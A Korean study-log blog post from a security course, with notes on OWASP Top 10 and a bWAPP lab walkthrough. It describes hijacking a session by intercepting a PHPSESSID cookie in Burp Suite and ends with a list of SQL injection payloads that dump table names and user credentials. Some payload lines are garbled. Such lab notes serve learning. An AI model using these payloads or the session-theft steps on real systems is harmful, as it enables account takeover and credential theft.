TIL- Burp Suite를 활용한 세션 탈취 기법

kyoungyeon·2024년 4월 12일
0

TIL

목록 보기
109/122
  • 클래스 > 정의 후

    • str > 클래스 개념
      함수를 사용해서 정의한 함수를 적용할때
    • . add 식으로 함수를 부르는개념
    • 클래스에서 만들때 실행된다
    • self 이 클래스에서만 쓰겠다
  • Regex 개념

    • ^ : exclusive
    • [] : range
    • a-b : Small Letter
    • A-B : Upper Letter
  • OwapsTOP10

    • sql injection 파급력이 크다
    • 최근 트렌드 : db 가 다 털리고 최근까지 밀리의 서제, 여기어때등에서 버그바운티를 걸었다.
    • [new] broken access control
      • 세션으로 로그인하기 <해결책
    • 취약한 암호화 수준
      • md5
      • 키오스크 , 카드 결재 Pos 등 .. 호환 취약한 버전 업데이트 안하려는 경우 가 많음 (유지보수를 잘 안함..)
      • 보안적으로 옳지않음
      • 예시 : 코로나때 영화관 및 버스정류장에 윈도우 xp , 2000 , 지원종료된 os
      • 예시 2 : 포스기 > 오래된 OS
  • 오래된 OS 알려진 취약점

    • wanner cry 가 있으면 서버 개발자 및 관리자가 저지르는 취약점
    • app, 프레임 워크, 라이브러리 등 대체로 오래된 버전을 쓰는 취약점
    • olday 맞나? == 맞음
      • zero day oneday 취약점.. 등 업데이트를 생활화하자
  • 공격기법중 brutal force 는 2가지 취약점이 있음

    • 1% 의 사람들이 쉬운 패스워드를 쓴다
      • 여러 아이디에 쉬운 비밀번호 랜덤으로 다 넣어보기
    • 일부러 비밀번호를 여러번 틀려서 서비스 활용을 어렵게 함 (일반인도)
      • 즉, 서비스 접근성을 떨어트림
  • BWPAP으로 세션 탈취 공격해보기

    • bridge로 연결.
    • NAT 끊고 같은 wifi 를 쓰는 app 끼리 접근 가능하게 함.
    • BeWapp 접속후 chrome 내 proxy 켬
    • Burp 를 이용해서 proxy 내 intercept ON 설정
    • Burp Suite 를 이용해서 http 헤더 및 패킷 내 쿠키 탈취가능
      Cookie: PHPSESSID= 비밀; SL_G_WPT_TO=ko; SL_GWPT_Show_Hide_tmp=1; SL_wptGlobTipTmp=1
  • A 의 크롬에서 갖고온 쿠키값을 이용해서

  • Burp Suite 내에서 킨 Chrome에서 BWAPP내에 쿠키값에 세션을 붙여넣으면 다른 계정으로 로그인가능

  • 세션 탈취 가능 -> 세션키를 개발자 도구에 덮어쓰기 할 경우 id 및 pw 를 탈취한 걸로 바꿔서 인식시킬수있다.

    • 중요! 세션을 복사해서 파란색 크롬에 덮어써야함!
      • 세션키를 크롬에서 갖고와서 복사 붙여넣기
      • 세션키를 forward시켜서 로그인 강제로 시키기 등등
    • default 계정 bee/bug , 테스트할 계정 test/test
      • 최종목표 : test로 들어가더라도, bee라고 인식하게 시키기

세션..해킹 어려웠다.

'UNION SELECT 1,2,3,4,5,6,7 #
 #은 주석 
'UNION SELECT 1@@version #
MAN'UNION SELECT 1@@vMAN'UNION SELECT 1,database(),2,3,4,5,6,7 #ersion #
MAN'UNION SELECT 1,2,3,4,5,6,7 #
MAN'UNION SELECT 1,database(),2,3,4,5,6,7 #
'UNION SELECT 1,2,3,4,5,6,7 FROM information_schema.tables #
MAN'UNION SELECT 1,table_name,3,4,5,6,7 FROM information_schema.tables #
 'OR 1=1 #
'UNION SELECT 1,database(),3,4,5,6,7 FROM information_schema.tables #
MAN'UNION SELECT 1,column_name,3,4,5,6,7 FROM information_schema.columns where table_name='users' #

MAN'UNION SELECT 1,id,login,password,5,6,7 FROM users #

MAN' or  1=length(databsase()) #

MAN' or  5=length(databsase()) #
profile
🏠TECH & GOSSIP

0개의 댓글